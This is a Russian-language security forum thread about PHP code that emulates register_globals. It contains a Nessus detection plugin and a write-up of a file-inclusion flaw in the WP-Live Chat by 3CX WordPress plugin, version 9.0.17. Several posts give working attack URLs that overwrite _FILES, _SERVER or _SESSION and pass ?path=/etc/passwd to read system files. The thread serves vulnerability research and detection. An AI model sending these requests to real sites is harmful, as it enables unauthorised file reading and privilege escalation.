ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |

18.12.2019, 01:05
|
|
Guest
Сообщений: n/a
Провел на форуме: 169212
Репутация:
441
|
|
По мотивам https://krober.biz/?p=3306 ( веб-архив), с печальным выводом:
Сообщение от КРОБА
КРОБА said:
Интересно, но бесполезно.
До этого момента, с таким контекстом не встречался и в голову так же не приходило. Поэтому, после прочтения заметки, один юз кейс сразу нарисовался и спешу поделиться с вами
Некоторые PHP разработчики, за каким-то хреном, используют эмуляцию почившего режима Register Globals (RG). Выглядеть это может по разному:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]$v[/COLOR][COLOR="#007700"]) $[/COLOR][COLOR="#0000BB"]$k[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$v[/COLOR][COLOR="#007700"]; unset([/COLOR][COLOR="#0000BB"]$GET[/COLOR][COLOR="#007700"]); [/COLOR][/COLOR]
и пр.
Понятное дело, что при вайтбоксе оно нам и даром не нужно, у нас же всё как на ладони. Но вот при блекбоксе пых приложух, фишечка может очень сильно помочь задетектить такой вот своеобразный RG. Соответственно, тут всплывают все прелести атак типа:
Код:
Code:
http://site.com/upload.php?_FILES[file][name]=image.jpg&_FILES[file][type]=image/jpeg&_FILES[file][tmp_name]=/etc/passwd&_FILES[file][error]=0&_FILES[file][size]=1000
или
Код:
Code:
httр://site.com/upload.php?_SERVER[DOCUMENT_ROOT]=zip:///var/lib/php/sessions/sess_test%23
или
Код:
Code:
httр://site.com/upload.php?_SESSION[admin]=1
и другие варианты, в зависимости от предполагаемой логики работы чёрного ящика
Парочка примеров:
|
|
|
|

19.12.2019, 22:01
|
|
Reservists Of Antichat - Level 6
Регистрация: 23.08.2007
Сообщений: 1,237
Провел на форуме: 18127311
Репутация:
1676
|
|
Для тех, кто любит автоматизацию, плагин для Nessus, который определяет наличие такой ситуации по наличию в заголовках или теле ответа характерного текста
[CODE]
Code:
# Pseudo register globals detection
include("compat.inc");
if(description)
{
script_id(10797109);
script_version("1.0");
script_cvs_date("$Date: 2019/12/19 13:37:00 $");
script_name(english: "Pseudo Register Globals Detection");
script_set_attribute(attribute: "synopsis", value: "Possible pseudo register globals behavior was detected on the remote host.");
script_set_attribute(attribute: "description", value: "Possible pseudo register globals behavior was detected on the remote host.");
script_set_attribute(attribute: "solution", value: "Check existing source code. Consider rewriting source code without usage of constructions like: extract($_GET), parse_str($_SERVER['QUERY_STRING']) , etc...");
script_set_attribute(attribute: "see_also", value: "https://antichat.com/threads/474727/");
script_set_attribute(attribute: "risk_factor", value: "Low");
script_set_attribute(attribute: "plugin_publication_date", value: "2019/12/19");
script_set_attribute(attribute: "plugin_type", value: "remote");
script_end_attributes();
script_summary(english: "Reports if response with code 500 occurs upon sending '/?this=abc' request. Additional checks should be made manually.");
script_category(ACT_GATHER_INFO);
script_copyright(english: "This script is Copyright (C) Kaimi (https://kaimi.io)");
script_family(english: "CGI abuses");
script_dependencie("webmirror.nasl", "DDI_Directory_Scanner.nasl");
script_exclude_keys("Settings/disable_cgi_scanning");
script_require_keys("Settings/enable_web_app_tests");
script_require_ports("Services/www");
script_timeout(1800);
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
app = "PHP";
port = get_http_port(default: 80);
dirs = list_uniq(make_list(cgi_dirs(), get_kb_list("www/" + port + "/content/directories"), ""));
found_list = make_list();
found_ctr = 0;
foreach dir (dirs)
{
path = dir + '/?this=abc';
res = http_send_recv3(
method : "GET",
port : port,
item : path
);
if(isnull(res))
continue;
if
(
# Check headers first string
eregmatch(pattern: '500 Internal Server Error', string: res[0], icase: TRUE)
||
# Check body
eregmatch(pattern: 'Internal Server Error', string: res[2], icase: TRUE)
)
{
found_list[found_ctr] = path;
found_ctr++;
}
}
if(found_ctr > 0)
{
report = NULL;
if (report_verbosity > 0)
{
report += '\nNessus was able to detect a suspicious behavior by the following paths:\n';
report += '\n';
for (i = 0; i
|
|
|

16.08.2020, 21:13
|
|
Guest
Сообщений: n/a
Провел на форуме: 169212
Репутация:
441
|
|
Пользуясь случаем, рассмотрим применение кейса на реальном примере, который был раскручен с его помощью до RFI (Remote File Include).
Для локального воспроизведения нам понадобится WordPress 5.5, а так же плагин WP-Live Chat by 3CX версии 9.0.17, который на текущий момент имеет 50 тысяч активных установок.
Запускать всё это дело будем на стенде с Debian 9, веб-сервером Apache/2.4.25 и PHP 7.3.15 с включенным выводом ошибок ( display_errors = On).
После нехитрой установки WP и плагина, вычищаем все админские куки и следуем на главную страницу нашего новоиспечённого блога.
Следующим шагом, проверяем теорию описанную в первом посте, при помощи простейшего теста, с подставлением GET параметра "?this=1".
Получаем фатальную ошибку, с раскрытием локальных путей, а так же номером строки где она была вызвана. Далее открываем файл в любимом текстовом редакторе и находим это место. Наш кейс всплывает в функии evaluate_php_template:
./wp-live-chat-support/includes/helpers/utils_helper.php:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]. . . public static function[/COLOR][COLOR="#0000BB"]evaluate_php_template[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$args[/COLOR][COLOR="#007700"]) { foreach ([/COLOR][COLOR="#0000BB"]$args[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#007700"]) { ${[/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"]} =[/COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#007700"]; }
[/COLOR][COLOR="#0000BB"]ob_start[/COLOR][COLOR="#007700"](); include([/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]$var[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]ob_get_contents[/COLOR][COLOR="#007700"](); [/COLOR][COLOR="#0000BB"]ob_end_clean[/COLOR][COLOR="#007700"]();
return[/COLOR][COLOR="#0000BB"]$var[/COLOR][COLOR="#007700"]; } . . . [/COLOR][/COLOR]
, где невооружённым глазом видно теоретическую возможность удалённого инклуда.
Если скрипт упал в этом месте, значит пользовательский ввод попадает в $args. Для того чтобы убедиться в этом, поищем в коде плагина места где используется эта функия и в свою очередь обнаружим другую функцию - load_view:
./wp-live-chat-support/includes/wplc_base_controller.php:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]. . . protected function[/COLOR][COLOR="#0000BB"]load_view[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$filepath[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$return_html[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$add_wrapper[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$children[/COLOR][COLOR="#007700"]= array() ) { [/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]convert_view_data[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]view_data[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"page_title"[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]page_title[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$view_data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]array_merge[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]$view_data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'wplc_settings'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]wplc_settings[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$view_data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'selected_action'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]selected_action[/COLOR][COLOR="#007700"]; unset([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]$data_literal[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]generate_wrapper_data[/COLOR][COLOR="#007700"](); [/COLOR][COLOR="#0000BB"]$view_html[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]TCXUtilsHelper[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]evaluate_php_template[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$filepath[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$view_data[/COLOR][COLOR="#007700"]); if([/COLOR][COLOR="#0000BB"]$add_wrapper[/COLOR][COLOR="#007700"]) { [/COLOR][COLOR="#0000BB"]$result_view[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$result_view[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]$view_html[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$result_view[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]; }else { [/COLOR][COLOR="#0000BB"]$result_view[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$view_html[/COLOR][COLOR="#007700"]; } if ([/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$children[/COLOR][COLOR="#007700"]) >[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]) { [/COLOR][COLOR="#0000BB"]libxml_use_internal_errors[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]$doc[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]DOMDocument[/COLOR][COLOR="#007700"](); [/COLOR][COLOR="#0000BB"]$doc[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]formatOutput[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$doc[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]loadHTML[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$result_view[/COLOR][COLOR="#007700"]); foreach ([/COLOR][COLOR="#0000BB"]$children[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$child[/COLOR][COLOR="#007700"]) { [/COLOR][COLOR="#0000BB"]$container_element[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$doc[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]getElementById[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$child[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]id[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]$html[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$child[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]controller[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]view[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]$node[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]createElementFromHTML[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$doc[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$html[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]$container_element[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]appendChild[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$node[/COLOR][COLOR="#007700"]); } [/COLOR][COLOR="#0000BB"]$result_view[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$doc[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]saveHTML[/COLOR][COLOR="#007700"](); } if ([/COLOR][COLOR="#0000BB"]$return_html[/COLOR][COLOR="#007700"]) { return[/COLOR][COLOR="#0000BB"]$result_view[/COLOR][COLOR="#007700"]; } else { echo[/COLOR][COLOR="#0000BB"]$result_view[/COLOR][COLOR="#007700"]; return[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"]; } }
. . . [/COLOR][/COLOR]
На третьей строке этой функции видим, что переменная $data объединяется с массивом $_GET. Это как раз то место, когда пользовательские данные без какой-либо обработки попадают в уязвимую функцию evaluate_php_template. А это значит, мы можем изменить переменную $path на любое значение. И сделав запрос вида http://wordpress/?path=/etc/passwd, убеждаемся в этом:
Или так:
Теперь давайте разбираться как так произошло
На первом скрине видим, что load_view() в плагине используется повсеместно, для отображения различных страниц темплейтов, с предустановленными зарание переменными и юзеринпутом. Важным аргументом для неё является $filepath, который, как видно, при вызове жёстко прописывается и повлиять на него никак нельзя.
Далее, подготавливаются некие переменные, для подключаемого шаблона, и массив с этими переменными объединяется с $_GET. И через несколько строк, $view_data, с пользовательскими гет данными, отправляется в функцию evaluate_php_template(), куда так же первым аргументом передаётся захардкоженный $filepath.
В следующем методе аргументы $args, возможностями переменных переменных глобализуются или переназначаются ( неявно) в контексте нашей функции, вероятно, для заполнения подключаемого темплейта.
Всё бы ничего, но мы передав ?path=/etc/passwd сделали так, что один из ключей перебираемого массива $args является "path", что переназначит значение, казалось бы жёстко прописанной, переменной $path переданой заранее!
$this is the end
|
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|